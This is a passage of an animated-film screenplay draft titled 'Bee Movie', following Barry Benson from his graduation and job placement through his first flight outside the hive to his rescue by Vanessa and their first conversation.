Barry’s mother, JANET BENSON, yells up at Barry. JANET BENSON Barry, breakfast is ready! CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 1. INT. BARRY’S ROOM - CONTINUOUS BARRY Coming! SFX: Phone RINGING. Barry’s antennae vibrate as they RING like a phone. Barry’s hands are wet. He looks around for a towel. BARRY (CONT’D) Hang on a second! He wipes his hands on his sweater, and pulls his antennae down to his ear and mouth. BARRY (CONT'D) Hello? His best friend, ADAM FLAYMAN, is on the other end. ADAM Barry? BARRY Adam? ADAM Can you believe this is happening? BARRY Can’t believe it. I’ll pick you up. Barry sticks his stinger in a sharpener. SFX: BUZZING AS HIS STINGER IS SHARPENED. He tests the sharpness with his finger. SFX: Bing. BARRY (CONT’D) Looking sharp. ANGLE ON: Barry hovering down the hall, sliding down the staircase bannister. Barry’s mother, JANET BENSON, is in the kitchen. JANET BENSON Barry, why don’t you use the stairs? Your father paid good money for those. "Bee Movie" - JS REVISIONS 8/13/07 2. BARRY Sorry, I’m excited. Barry’s father, MARTIN BENSON, ENTERS. He’s reading a NEWSPAPER with the HEADLINE, “Queen gives birth to thousandtuplets: Resting Comfortably.” MARTIN BENSON Here’s the graduate. We’re very proud of you, Son. And a perfect report card, all B’s. JANET BENSON (mushing Barry’s hair) Very proud. BARRY Ma! I’ve got a thing going here. Barry re-adjusts his hair, starts to leave. JANET BENSON You’ve got some lint on your fuzz. She picks it off. BARRY Ow, that’s me! MARTIN BENSON Wave to us. We’ll be in row 118,000. Barry zips off. BARRY Bye! JANET BENSON Barry, I told you, stop flying in the house! CUT TO: SEQ. 750 - DRIVING TO GRADUATION EXT. BEE SUBURB - MORNING A GARAGE DOOR OPENS. Barry drives out in his CAR. "Bee Movie" - JS REVISIONS 8/13/07 3. ANGLE ON: Barry’s friend, ADAM FLAYMAN, standing by the curb. He’s reading a NEWSPAPER with the HEADLINE: “Frisbee Hits Hive: Internet Down. Bee-stander: “I heard a sound, and next thing I knew...wham-o!.” Barry drives up, stops in front of Adam. Adam jumps in. BARRY Hey, Adam. ADAM Hey, Barry. (pointing at Barry’s hair) Is that fuzz gel? BARRY A little. It’s a special day. Finally graduating. ADAM I never thought I’d make it. BARRY Yeah, three days of grade school, three days of high school. ADAM Those were so awkward. BARRY Three days of college. I’m glad I took off one day in the middle and just hitchhiked around the hive. ADAM You did come back different. They drive by a bee who’s jogging. ARTIE Hi Barry! BARRY (to a bee pedestrian) Hey Artie, growing a mustache? Looks good. Barry and Adam drive from the suburbs into the city. ADAM Hey, did you hear about Frankie? "Bee Movie" - JS REVISIONS 8/13/07 4. BARRY Yeah. ADAM You going to his funeral? BARRY No, I’m not going to his funeral. Everybody knows you sting someone you die, you don’t waste it on a squirrel. He was such a hot head. ADAM Yeah, I guess he could’ve just gotten out of the way. The DRIVE through a loop de loop. BARRY AND ADAM Whoa...Whooo...wheee!! ADAM I love this incorporating the amusement park right into our regular day. BARRY I guess that’s why they say we don’t need vacations. CUT TO: SEQ. 95 - GRADUATION EXT. GRADUATION CEREMONY - CONTINUOUS Barry and Adam come to a stop. They exit the car, and fly over the crowd to their seats. * BARRY * (re: graduation ceremony) * Boy, quite a bit of pomp...under * the circumstances. * They land in their seats. BARRY (CONT’D) Well Adam, today we are men. "Bee Movie" - JS REVISIONS 8/13/07 5. ADAM We are. BARRY Bee-men. ADAM Amen! BARRY Hallelujah. Barry hits Adam’s forehead. Adam goes into the rapture. An announcement comes over the PA. ANNOUNCER (V.O) Students, faculty, distinguished bees...please welcome, Dean Buzzwell. ANGLE ON: DEAN BUZZWELL steps up to the podium. The podium has a sign that reads: “Welcome Graduating Class of:”, with train-station style flipping numbers after it. BUZZWELL Welcome New Hive City graduating class of... The numbers on the podium change to 9:15. BUZZWELL (CONT’D) ...9:15. (he clears his throat) And that concludes our graduation ceremonies. And begins your career at Honex Industries. BARRY Are we going to pick our job today? ADAM I heard it’s just orientation. The rows of chairs change in transformer-like mechanical motion to Universal Studios type tour trams. Buzzwell walks off stage. BARRY (re: trams) Whoa, heads up! Here we go. "Bee Movie" - JS REVISIONS 8/13/07 6. SEQ. 125 - “FACTORY” FEMALE VOICE (V.O) Keep your hands and antennas inside the tram at all times. (in Spanish) Dejen las manos y antennas adentro del tram a todos tiempos. BARRY I wonder what it’s going to be like? ADAM A little scary. Barry shakes Adam. BARRY AND ADAM AAHHHH! The tram passes under SIGNS READING: “Honex: A Division of Honesco: A Part of the Hexagon Group.” TRUDY Welcome to Honex, a division of Honesco, and a part of the Hexagon group. BARRY This is it! The Honex doors OPEN, revealing the factory. BARRY (CONT’D) Wow. TRUDY We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant pollen jocks bring the nectar to the hive where our top secret formula is automatically color-corrected, scent adjusted and bubble contoured into this... Trudy GRABS a TEST TUBE OF HONEY from a technician. "Bee Movie" - JS REVISIONS 8/13/07 7. TRUDY (CONT’D) ...soothing, sweet syrup with its distinctive golden glow, you all know as... EVERYONE ON THE TRAM (in unison) H-o-n-e-y. Trudy flips the flask into the crowd, and laughs as they all scramble for it. ANGLE ON: A GIRL BEE catching the honey. ADAM (sotto) That girl was hot. BARRY (sotto) She’s my cousin. ADAM She is? BARRY Yes, we’re all cousins. ADAM Right. You’re right. TRUDY At Honex, we also constantly strive to improve every aspect of bee existence. These bees are stress testing a new helmet technology. ANGLE ON: A STUNT BEE in a HELMET getting hit with a NEWSPAPER, then a SHOE, then a FLYSWATTER. He gets up, and gives a “thumb’s up”. The graduate bees APPLAUD. ADAM (re: stunt bee) What do you think he makes? BARRY Not enough. TRUDY And here we have our latest advancement, the Krelman. "Bee Movie" - JS REVISIONS 8/13/07 8. BARRY Wow, what does that do? TRUDY Catches that little strand of honey that hangs after you pour it. Saves us millions. ANGLE ON: The Krelman machine. Bees with hand-shaped hats on, rotating around a wheel to catch drips of honey. Adam’s hand shoots up. ADAM Can anyone work on the Krelman? TRUDY Of course. Most bee jobs are small ones. But bees know that every small job, if it’s done well, means a lot. There are over 3000 different bee occupations. But choose carefully, because you’ll stay in the job that you pick for the rest of your life. The bees CHEER. ANGLE ON: Barry’s smile dropping slightly. BARRY The same job for the rest of your life? I didn’t know that. ADAM What’s the difference? TRUDY And you’ll be happy to know that bees as a species haven’t had one day off in 27 million years. BARRY So you’ll just work us to death? TRUDY (laughing) We’ll sure try. Everyone LAUGHS except Barry. "Bee Movie" - JS REVISIONS 8/13/07 9. The tram drops down a log-flume type steep drop. Cameras flash, as all the bees throw up their hands. The frame freezes into a snapshot. Barry looks concerned. The tram continues through 2 doors. FORM DISSOLVE TO: SEQ. 175 - “WALKING THE HIVE” INT. HONEX LOBBY ANGLE ON: The log-flume photo, as Barry looks at it. ADAM Wow. That blew my mind. BARRY (annoyed) “What’s the difference?” Adam, how could you say that? One job forever? That’s an insane choice to have to make. ADAM Well, I’m relieved. Now we only have to make one decision in life. BARRY But Adam, how could they never have told us that? ADAM Barry, why would you question anything? We’re bees. We’re the most perfectly functioning society on Earth. They walk by a newspaper stand with A SANDWICH BOARD READING: “Bee Goes Berserk: Stings Seven Then Self.” ANGLE ON: A BEE filling his car’s gas tank from a honey pump. He fills his car some, then takes a swig for himself. NEWSPAPER BEE (to the bee guzzling gas) Hey! Barry and Adam begin to cross the street. "Bee Movie" - JS REVISIONS 8/13/07 10. BARRY Yeah but Adam, did you ever think that maybe things work a little too well around here? They stop in the middle of the street. The traffic moves perfectly around them. ADAM Like what? Give me one example. BARRY (thinks) ...I don’t know. But you know what I’m talking about. They walk off. SEQ. 400 - “MEET THE JOCKS” SFX: The SOUND of Pollen Jocks. PAN DOWN from the Honex statue. J-GATE ANNOUNCER Please clear the gate. Royal Nectar Force on approach. Royal Nectar Force on approach. BARRY Wait a second. Check it out. Hey, hey, those are Pollen jocks. ADAM Wow. FOUR PATROL BEES FLY in through the hive’s giant Gothic entrance. The Patrol Bees are wearing fighter pilot helmets with black visors. ADAM (CONT’D) I’ve never seen them this close. BARRY They know what it’s like to go outside the hive. ADAM Yeah, but some of them don’t come back. "Bee Movie" - JS REVISIONS 8/13/07 11. The nectar from the pollen jocks is removed from their backpacks, and loaded into trucks on their way to Honex. A SMALL CROWD forms around the Patrol Bees. Each one has a PIT CREW that takes their nectar. Lou Loduca hurries a pit crew along: LOU LODUCA You guys did great! You’re monsters. You’re sky freaks! I love it! I love it! SCHOOL GIRLS are jumping up and down and squealing nearby. BARRY I wonder where those guys have just been? ADAM I don’t know. BARRY Their day’s not planned. Outside the hive, flying who-knows-where, doing who-knows-what. ADAM You can’t just decide one day to be a Pollen Jock. You have to be bred for that. BARRY Right. Pollen Jocks cross in close proximity to Barry and Adam. Some pollen falls off, onto Barry and Adam. BARRY (CONT’D) Look at that. That’s more pollen than you and I will ever see in a lifetime. ADAM (playing with the pollen) It’s just a status symbol. I think bees make too big a deal out of it. BARRY Perhaps, unless you’re wearing it, and the ladies see you wearing it. ANGLE ON: Two girl bees. "Bee Movie" - JS REVISIONS 8/13/07 12. ADAM Those ladies? Aren’t they our cousins too? BARRY Distant, distant. ANGLE ON: TWO POLLEN JOCKS. JACKSON Look at these two. SPLITZ Couple of Hive Harrys. JACKSON Let’s have some fun with them. The pollen jocks approach. Barry and Adam continue to talk to the girls. GIRL 1 It must be so dangerous being a pollen jock. BARRY Oh yeah, one time a bear had me pinned up against a mushroom. He had one paw on my throat, and with the other he was slapping me back and forth across the face. GIRL 1 Oh my. BARRY I never thought I’d knock him out. GIRL 2 (to Adam) And what were you doing during all of this? ADAM Obviously I was trying to alert the authorities. The girl swipes some pollen off of Adam with a finger. BARRY (re: pollen) I can autograph that if you want. "Bee Movie" - JS REVISIONS 8/13/07 13. JACKSON Little gusty out there today, wasn’t it, comrades? BARRY Yeah. Gusty. BUZZ You know, we’re going to hit a sunflower patch about six miles from here tomorrow. BARRY Six miles, huh? ADAM (whispering) Barry. BUZZ It’s a puddle-jump for us. But maybe you’re not up for it. BARRY Maybe I am. ADAM (whispering louder) You are not! BUZZ We’re going, oh-nine hundred at JGate. ADAM (re: j-gate) Whoa. BUZZ (leaning in, on top of Barry) What do you think, Buzzy Boy? Are you bee enough? BARRY I might be. It all depends on what oh-nine hundred means. CUT TO: SEQ. 450 - “THE BALCONY” "Bee Movie" - JS REVISIONS 8/13/07 14. INT. BENSON HOUSE BALCONY - LATER Barry is standing on the balcony alone, looking out over the city. Martin Benson ENTERS, sneaks up behind Barry and gooses him in his ribs. MARTIN BENSON Honex! BARRY Oh, Dad. You surprised me. MARTIN BENSON (laughing) Have you decided what you’re interested in, Son? BARRY Well, there’s a lot of choices. MARTIN BENSON But you only get one. Martin LAUGHS. BARRY Dad, do you ever get bored doing the same job every day? MARTIN BENSON Son, let me tell you something about stirring. (making the stirring motion) You grab that stick and you just move it around, and you stir it around. You get yourself into a rhythm, it’s a beautiful thing. BARRY You know dad, the more I think about it, maybe the honey field just isn’t right for me. MARTIN BENSON And you were thinking of what, making balloon animals? That’s a bad job for a guy with a stinger. "Bee Movie" - JS REVISIONS 8/13/07 15. BARRY Well no... MARTIN BENSON Janet, your son’s not sure he wants to go into honey. JANET BENSON Oh Barry, you are so funny sometimes. BARRY I’m not trying to be funny. MARTIN BENSON You’re not funny, you’re going into honey. Our son, the stirrer. JANET BENSON You’re going to be a stirrer?! BARRY No one’s listening to me. MARTIN BENSON Wait until you see the sticks I have for you. BARRY I can say anything I want right now. I’m going to get an ant tattoo. JANET BENSON Let’s open some fresh honey and celebrate. BARRY Maybe I’ll pierce my thorax! MARTIN BENSON (toasting) To honey! BARRY Shave my antennae! JANET BENSON To honey! "Bee Movie" - JS REVISIONS 8/13/07 16. BARRY Shack up with a grasshopper, get a gold tooth, and start calling everybody “Dawg.” CUT TO: SEQ. 760 - “JOB PLACEMENT” EXT. HONEX LOBBY - CONTINUOUS ANGLE ON: A BEE BUS STOP. One group of bees stands on the pavement, as another group hovers above them. A doubledecker bus pulls up. The hovering bees get on the top level, and the standing bees get on the bottom. Barry and Adam pull up outside of Honex. ADAM I can’t believe we’re starting work today. BARRY Today’s the day. Adam jumps out of the car. ADAM (O.C) Come on. All the good jobs will be gone. BARRY Yeah, right... ANGLE ON: A BOARD READING: “JOB PLACEMENT BOARD”. Buzzwell, the Bee Processor, is at the counter. Another BEE APPLICANT, SANDY SHRIMPKIN is EXITING. SANDY SHRIMPKIN Is it still available? BUZZWELL Hang on. (he looks at changing numbers on the board) Two left. And...one of them’s yours. Congratulations Son, step to the side please. "Bee Movie" - JS REVISIONS 8/13/07 17. SANDY SHRIMPKIN Yeah! ADAM (to Sandy, leaving) What did you get? SANDY SHRIMPKIN Picking the crud out. That is stellar! ADAM Wow. BUZZWELL (to Adam and Barry) Couple of newbies? ADAM Yes Sir. Our first day. We are ready. BUZZWELL Well, step up and make your choice. ANGLE ON: A CHART listing the different sectors of Honex. Heating, Cooling, Viscosity, Krelman, Pollen Counting, Stunt Bee, Pouring, Stirrer, Humming, Regurgitating, Front Desk, Hair Removal, Inspector No. 7, Chef, Lint Coordinator, Stripe Supervisor, Antennae-ball polisher, Mite Wrangler, Swatting Counselor, Wax Monkey, Wing Brusher, Hive Keeper, Restroom Attendant. ADAM (to Barry) You want to go first? BARRY No, you go. ADAM Oh my. What’s available? BUZZWELL Restroom attendant is always open, and not for the reason you think. ADAM Any chance of getting on to the Krelman, Sir? BUZZWELL Sure, you’re on. "Bee Movie" - JS REVISIONS 8/13/07 18. He plops the KRELMAN HAT onto Adam’s head. ANGLE ON: The job board. THE COLUMNS READ: “OCCUPATION” “POSITIONS AVAILABLE”, and “STATUS”. The middle column has numbers, and the right column has job openings flipping between “open”, “pending”, and “closed”. BUZZWELL (CONT’D) Oh, I’m sorry. The Krelman just closed out. ADAM Oh! He takes the hat off Adam. BUZZWELL Wax Monkey’s always open. The Krelman goes from “Closed” to “Open”. BUZZWELL (CONT’D) And the Krelman just opened up again. ADAM What happened? BUZZWELL Well, whenever a bee dies, that’s an opening. (pointing at the board) See that? He’s dead, dead, another dead one, deady, deadified, two more dead. Dead from the neck up, dead from the neck down. But, that’s life. ANGLE ON: Barry’s disturbed expression. ADAM (feeling pressure to decide) Oh, this is so hard. Heating, cooling, stunt bee, pourer, stirrer, humming, inspector no. 7, lint coordinator, stripe supervisor, antenna-ball polisher, mite wrangler-- Barry, Barry, what do you think I should-- Barry? Barry? "Bee Movie" - JS REVISIONS 8/13/07 19. Barry is gone. CUT TO: SEQ. 775 - “LOU LODUCA SPEECH” EXT. J-GATE - SAME TIME Splitz, Jackson, Buzz, Lou and two other BEES are going through final pre-flight checks. Barry ENTERS. LOU LODUCA Alright, we’ve got the sunflower patch in quadrant nine. Geranium window box on Sutton Place... Barry’s antennae rings, like a phone. ADAM (V.O) What happened to you? Where are you? Barry whispers throughout. BARRY I’m going out. ADAM (V.O) Out? Out where? BARRY Out there. ADAM (V.O) (putting it together) Oh no. BARRY I have to, before I go to work for the rest of my life. ADAM (V.O) You’re going to die! You’re crazy! Hello? BARRY Oh, another call coming in. "Bee Movie" - JS REVISIONS 8/13/07 20. ADAM (V.O) You’re cra-- Barry HANGS UP. ANGLE ON: Lou Loduca. LOU LODUCA If anyone’s feeling brave, there’s a Korean Deli on 83rd that gets their roses today. BARRY (timidly) Hey guys. BUZZ Well, look at that. SPLITZ Isn’t that the kid we saw yesterday? LOU LODUCA (to Barry) Hold it son, flight deck’s restricted. JACKSON It’s okay Lou, we’re going to take him up. Splitz and Jackson CHUCKLE. LOU LODUCA Really? Feeling lucky, are ya? A YOUNGER SMALLER BEE THAN BARRY, CHET, runs up with a release waiver for Barry to sign. CHET Sign here. Here. Just initial that. Thank you. LOU LODUCA Okay, you got a rain advisory today and as you all know, bees cannot fly in rain. So be careful. As always, (reading off clipboard) watch your brooms, hockey sticks, dogs, birds, bears, and bats. "Bee Movie" - JS REVISIONS 8/13/07 21. Also, I got a couple reports of root beer being poured on us. Murphy’s in a home because of it, just babbling like a cicada. BARRY That’s awful. LOU LODUCA And a reminder for all you rookies, bee law number one, absolutely no talking to humans. Alright, launch positions! The Jocks get into formation, chanting as they move. LOU LODUCA (CONT’D) Black and Yellow! JOCKS Hello! SPLITZ (to Barry) Are you ready for this, hot shot? BARRY Yeah. Yeah, bring it on. Barry NODS, terrified. BUZZ Wind! - CHECK! JOCK #1 Antennae! - CHECK! JOCK #2 Nectar pack! - CHECK! JACKSON Wings! - CHECK! SPLITZ Stinger! - CHECK! BARRY Scared out of my shorts - CHECK. LOU LODUCA Okay ladies, let’s move it out. Everyone FLIPS their goggles down. Pit crew bees CRANK their wings, and remove the starting blocks. We hear loud HUMMING. "Bee Movie" - JS REVISIONS 8/13/07 22. LOU LODUCA (CONT'D) LOU LODUCA (CONT’D) Pound those petunia's, you striped stem-suckers! All of you, drain those flowers! A FLIGHT DECK GUY in deep crouch hand-signals them out the archway as the backwash from the bee wings FLUTTERS his jump suit. Barry follows everyone. SEQ. 800 - “FLYING WITH THE JOCKS” The bees climb above tree tops in formation. Barry is euphoric. BARRY Whoa! I’m out! I can’t believe I’m out! So blue. Ha ha ha! (a beat) I feel so fast...and free. (re: kites in the sky) Box kite! Wow! They fly by several bicyclists, and approach a patch of flowers. BARRY (CONT'D) Flowers! SPLITZ This is blue leader. We have roses visual. Bring it around thirty degrees and hold. BARRY (sotto) Roses. JACKSON Thirty degrees, roger, bringing it around. Many pollen jocks break off from the main group. They use their equipment to collect nectar from flowers. Barry flies down to watch the jocks collect the nectar. JOCK Stand to the side kid, it’s got a bit of a kick. The jock fires the gun, and recoils. Barry watches the gun fill up with nectar. "Bee Movie" - JS REVISIONS 8/13/07 23. BARRY Oh, that is one Nectar Collector. JOCK You ever see pollination up close? BARRY No, Sir. He takes off, and the excess pollen dust falls causing the flowers to come back to life. JOCK (as he pollinates) I pick some pollen up over here, sprinkle it over here, maybe a dash over there, pinch on that one...see that? It’s a little bit of magic, ain’t it? The FLOWERS PERK UP as he pollinates. BARRY Wow. That’s amazing. Why do we do that? JOCK ...that’s pollen power, Kid. More pollen, more flowers, more nectar, more honey for us. BARRY Cool. The Jock WINKS at Barry. Barry rejoins the other jocks in the sky. They swoop in over a pond, kissing the surface. We see their image reflected in the water; they’re really moving. They fly over a fountain. BUZZ I’m picking up a lot of bright yellow, could be daisies. Don’t we need those? SPLITZ Copy that visual. We see what appear to be yellow flowers on a green field. "Bee Movie" - JS REVISIONS 8/13/07 24. They go into a deep bank and dive. BUZZ Hold on, one of these flowers seems to be on the move. SPLITZ Say again...Are you reporting a moving flower? BUZZ Affirmative. SEQ. 900 - “TENNIS GAME” The pollen jocks land. It is a tennis court with dozens of tennis balls. A COUPLE, VANESSA and KEN, plays tennis. The bees land right in the midst of a group of balls. KEN (O.C) That was on the line! The other bees start walking around amongst the immense, yellow globes. SPLITZ This is the coolest. What is it? They stop at a BALL on a white line and look up at it. JACKSON I don’t know, but I’m loving this color. SPLITZ (smelling tennis ball) Smells good. Not like a flower. But I like it. JACKSON Yeah, fuzzy. BUZZ Chemical-y. JACKSON Careful, guys, it’s a little grabby. Barry LANDS on a ball and COLLAPSES. "Bee Movie" - JS REVISIONS 8/13/07 25. BARRY Oh my sweet lord of bees. JACKSON Hey, candy brain, get off there! Barry attempts to pulls his legs off, but they stick. BARRY Problem! A tennis shoe and a hand ENTER FRAME. The hand picks up the ball with Barry underneath it. BARRY (CONT'D) Guys! BUZZ This could be bad. JACKSON Affirmative. Vanessa walks back to the service line, BOUNCES the ball. Each time it BOUNCES, the other bees cringe and GASP. ANGLE ON: Barry, terrified. Pure dumb luck, he’s not getting squished. BARRY (with each bounce) Very close...Gonna Hurt...Mamma’s little boy. SPLITZ You are way out of position, rookie. ANGLE ON: Vanessa serving. We see Barry and the ball up against the racket as she brings it back. She tosses the ball into the air; Barry’s eyes widen. The ball is STRUCK, and the rally is on. KEN Coming in at you like a missile! Ken HITS the ball back. Barry feels the g-forces. ANGLE ON: The Pollen Jocks watching Barry pass by them in SLOW MOTION. "Bee Movie" - JS REVISIONS 8/13/07 26. BARRY (in slow motion) Help me! JACKSON You know, I don't think these are flowers. SPLITZ Should we tell him? JACKSON I think he knows. BARRY (O.S) What is this?! Vanessa HITS a high arcing lob. Ken waits, poised for the return. We see Barry having trouble maneuvering the ball from fatigue. KEN (overly confident) Match point! ANGLE ON: Ken running up. He has a killer look in his eyes. He’s going to hit the ultimate overhead smash. KEN (CONT'D) You can just start packing up Honey, because I believe you’re about to eat it! ANGLE ON: Pollen Jocks. JACKSON Ahem! Ken is distracted by the jock. KEN What? No! He misses badly. The ball rockets into oblivion. Barry is still hanging on. ANGLE ON: Ken, berating himself. KEN (CONT’D) Oh, you cannot be serious. We hear the ball WHISTLING, and Barry SCREAMING. "Bee Movie" - JS REVISIONS 8/13/07 27. BARRY Yowser!!! SEQ. 1000 - “SUV” The ball flies through the air, and lands in the middle of the street. It bounces into the street again, and sticks in the grille of an SUV. INT. CAR ENGINE - CONTINUOUS BARRY’S POV: the grille of the SUV sucks him up. He tumbles through a black tunnel, whirling vanes, and pistons. BARRY AHHHHHHHHHHH!! OHHHH!! EECHHH!! AHHHHHH!! Barry gets chilled by the A/C system, and sees a frozen grasshopper. BARRY (CONT’D) (re: grasshopper) Eww, gross. CUT TO: INT. CAR - CONTINUOUS The car is packed with a typical suburban family: MOTHER, FATHER, eight-year old BOY, LITTLE GIRL in a car seat and a GRANDMOTHER. A big slobbery DOG is behind a grate. Barry pops into the passenger compartment, hitting the Mother’s magazine. MOTHER There’s a bee in the car! They all notice the bee and start SCREAMING. BARRY Aaahhhh! Barry tumbles around the car. We see the faces from his POV. MOTHER Do something! "Bee Movie" - JS REVISIONS 8/13/07 28. FATHER I’m driving! Barry flies by the little girl in her CAR SEAT. She waves hello. LITTLE GIRL Hi, bee. SON He’s back here! He’s going to sting me! The car SWERVES around the road. Barry flies into the back, where the slobbery dog SNAPS at him. Barry deftly avoids the jaws and gross, flying SPITTLE. MOTHER Nobody move. If you don’t move, he won’t sting you. Freeze! Everyone in the car freezes. Barry freezes. They stare at each other, eyes going back and forth, waiting to see who will make the first move. Barry blinks. GRANNY He blinked! Granny pulls out a can of HAIR SPRAY. SON Spray him, Granny! Granny sprays the hair spray everywhere. FATHER What are you doing? GRANNY It’s hair spray! Extra hold! MOTHER Kill it! Barry gets sprayed back by the hair spray, then sucked out of the sunroof. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 29. EXT. CITY STREET - CONTINUOUS BARRY Wow. The tension level out here is unbelievable. I’ve got to get home. As Barry flies down the street, it starts to RAIN. He nimbly avoids the rain at first. BARRY (CONT’D) Whoa. Whoa! Can’t fly in rain! Can’t fly in rain! Can’t fly in-- A couple of drops hit him, his wings go limp and he starts falling. BARRY (CONT'D) Mayday! Mayday! Bee going down! Barry sees a window ledge and aims for it and just makes it. Shivering and exhausted, he crawls into an open window as it CLOSES. SEQ. 1100 - “VANESSA SAVES BARRY” INT. VANESSA’S APARTMENT - CONTINUOUS Inside the window, Barry SHAKES off the rain like a dog. Vanessa, Ken, Andy, and Anna ENTER the apartment. VANESSA Ken, can you close the window please? KEN Huh? Oh. (to Andy) Hey, check out my new resume. I made it into a fold-out brochure. You see? It folds out. Ken holds up his brochure, with photos of himself, and a resume in the middle. ANGLE ON: Barry hiding behind the curtains, as Ken CLOSES THE WINDOW. "Bee Movie" - JS REVISIONS 8/13/07 30. BARRY Oh no, more humans. I don’t need this. Barry HOVERS up into the air and THROWS himself into the glass. BARRY (CONT’D) (dazed) Ow! What was that? He does it again, and then multiple more times. BARRY (CONT'D) Maybe this time...this time, this time, this time, this time, this time, this time, this time. Barry JUMPS onto the drapes. BARRY (CONT'D) (out of breath) Drapes! (then, re: glass) That is diabolical. KEN It’s fantastic. It’s got all my special skills, even my top ten favorite movies. ANDY What’s your number one? Star Wars? KEN Ah, I don’t go for that, (makes Star Wars noises), kind of stuff. ANGLE ON: Barry. BARRY No wonder we’re not supposed to talk to them. They’re out of their minds. KEN When I walk out of a job interview they’re flabbergasted. They can’t believe the things I say. Barry looks around and sees the LIGHT BULB FIXTURE in the middle of the ceiling. "Bee Movie" - JS REVISIONS 8/13/07 31. BARRY (re: light bulb) Oh, there’s the sun. Maybe that’s a way out. Barry takes off and heads straight for the light bulb. His POV: The seventy-five watt label grows as he gets closer. BARRY (CONT’D) I don’t remember the sun having a big seventy five on it. Barry HITS the bulb and is KNOCKED SILLY. He falls into a BOWL OF GUACAMOLE. Andy dips his chip in the guacamole, taking Barry with it. ANGLE ON: Ken and Andy. KEN I’ll tell you what. You know what? I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Barry’s POV: Giant human mouth opening. KEN (CONT’D) Wait! Stop! Beeeeeee! ANNA Kill it! Kill it! They all JUMP up from their chairs. Andy looks around for something to use. Ken comes in for the kill with a big TIMBERLAND BOOT on each hand. KEN Stand back. These are winter boots. Vanessa ENTERS, and stops Ken from squashing Barry. VANESSA (grabs Ken’s arm) Wait. Don’t kill him. CLOSE UP: on Barry’s puzzled face. KEN You know I’m allergic to them. This thing could kill me. "Bee Movie" - JS REVISIONS 8/13/07 32. VANESSA Why does his life have any less value than yours? She takes a GLASS TUMBLER and places it over Barry. KEN Why does his life have any less value than mine? Is that your statement? VANESSA I’m just saying, all life has value. You don’t know what he’s capable of feeling. Barry looks up through the glass and watches this conversation, astounded. Vanessa RIPS Ken’s resume in half and SLIDES it under the glass. KEN (wistful) My brochure. There’s a moment of eye contact as she carries Barry to the window. She opens it and sets him free. VANESSA There you go, little guy. KEN (O.C) I’m not scared of them. But, you know, it’s an allergic thing. ANDY (O.C) * Hey, why don’t you put that on your * resume-brochure? * KEN (O.C) It’s not funny, my whole face could puff up. ANDY (O.C) Make it one of your “Special Skills.” KEN (O.C) You know, knocking someone out is also a special skill. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 33. EXT. WINDOWSILL - CONTINUOUS Barry stares over the window frame. He can’t believe what’s just happened. It is still RAINING. DISSOLVE TO: SEQ. 1200 - “BARRY SPEAKS” EXT. WINDOWSILL - LATER Barry is still staring through the window. Inside, everyone’s saying their good-byes. KEN Vanessa, next week? Yogurt night? VANESSA Uh, yeah sure Ken. You know, whatever. KEN You can put carob chips on there. VANESSA Good night. KEN (as he exits) Supposed to be less calories, or something. VANESSA Bye. She shuts the door. Vanessa starts cleaning up. BARRY I’ve got to say something. She saved my life. I’ve got to say something. Alright, here it goes. Barry flies in. "Bee Movie" - JS REVISIONS 8/13/07 34. INT. VANESSA’S APARTMENT - CONTINUOUS Barry hides himself on different PRODUCTS placed along the kitchen shelves. He hides on a Bumblebee Tuna can, and a “Greetings From Coney Island” MUSCLE-MAN POSTCARD on the fridge. BARRY (on fridge) What would I say? (landing on a bottle) I could really get in trouble. He stands looking at Vanessa. BARRY (CONT'D) It’s a bee law. You’re not supposed to talk to a human. I can’t believe I’m doing this. I’ve got to. Oh, I can’t do it! Come on! No, yes, no, do it! I can’t. How should I start it? You like jazz? No, that’s no good. Here she comes. Speak, you fool. As Vanessa walks by, Barry takes a DEEP BREATH. BARRY (CONT’D) (cheerful) Umm...hi. Vanessa DROPS A STACK OF DISHES, and HOPS BACK. BARRY (CONT’D) I’m sorry. VANESSA You’re talking. BARRY Yes, I know, I know. VANESSA You’re talking. BARRY I know, I’m sorry. I’m so sorry. VANESSA It’s okay. It’s fine. It’s just, I know I’m dreaming, but I don’t recall going to bed. "Bee Movie" - JS REVISIONS 8/13/07 35. BARRY Well, you know I’m sure this is very disconcerting. VANESSA Well yeah. I mean this is a bit of a surprise to me. I mean...you’re a bee. BARRY Yeah, I am a bee, and you know I’m not supposed to be doing this, but they were all trying to kill me and if it wasn’t for you...I mean, I had to thank you. It’s just the way I was raised. Vanessa intentionally JABS her hand with a FORK. VANESSA Ow! BARRY That was a little weird. VANESSA (to herself) I’m talking to a bee. BARRY Yeah. VANESSA I’m talking to a bee. BARRY Anyway... VANESSA And a bee is talking to me... BARRY I just want you to know that I’m grateful, and I’m going to leave now. VANESSA Wait, wait, wait, wait, how did you learn to do that? BARRY What? "Bee Movie" - JS REVISIONS 8/13/07 36. VANESSA The talking thing. BARRY Same way you did, I guess. Mama, Dada, honey, you pick it up. VANESSA That’s very funny. BARRY Yeah. Bees are funny. If we didn’t laugh, we’d cry. With what we have to deal with. Vanessa LAUGHS. BARRY (CONT’D) Anyway. VANESSA Can I, uh, get you something? BARRY Like what? VANESSA I don’t know. I mean, I don’t know. Coffee? BARRY Well, uh, I don’t want to put you out. VANESSA It’s no trouble. BARRY Unless you’re making anyway. VANESSA Oh, it takes two minutes. BARRY Really? VANESSA It’s just coffee. BARRY I hate to impose. "Bee Movie" - JS REVISIONS 8/13/07 37. VANESSA Don’t be ridiculous. BARRY Actually, I would love a cup. VANESSA Hey, you want a little rum cake? BARRY I really shouldn’t. VANESSA Have a little rum cake. BARRY No, no, no, I can’t. VANESSA Oh, come on. BARRY You know, I’m trying to lose a couple micrograms here. VANESSA Where? BARRY Well... These stripes don’t help. VANESSA You look great. BARRY I don’t know if you know anything about fashion. Vanessa starts POURING the coffee through an imaginary cup and directly onto the floor. BARRY (CONT'D) Are you alright? VANESSA No. DISSOLVE TO: SEQ. 1300 - “ROOFTOP COFFEE” "Bee Movie" - JS REVISIONS 8/13/07 38. EXT. VANESSA’S ROOF - LATER Barry and Vanessa are drinking coffee on her roof terrace. He is perched on her keychain. BARRY ...He can’t get a taxi. He’s making the tie in the cab, as they’re flying up Madison. So he finally gets there. VANESSA Uh huh? BARRY He runs up the steps into the church, the wedding is on... VANESSA Yeah? BARRY ...and he says, watermelon? I thought you said Guatemalan. VANESSA Uh huh? BARRY Why would I marry a watermelon? Barry laughs. Vanessa doesn’t. VANESSA Oh! Is that, uh, a bee joke? BARRY Yeah, that’s the 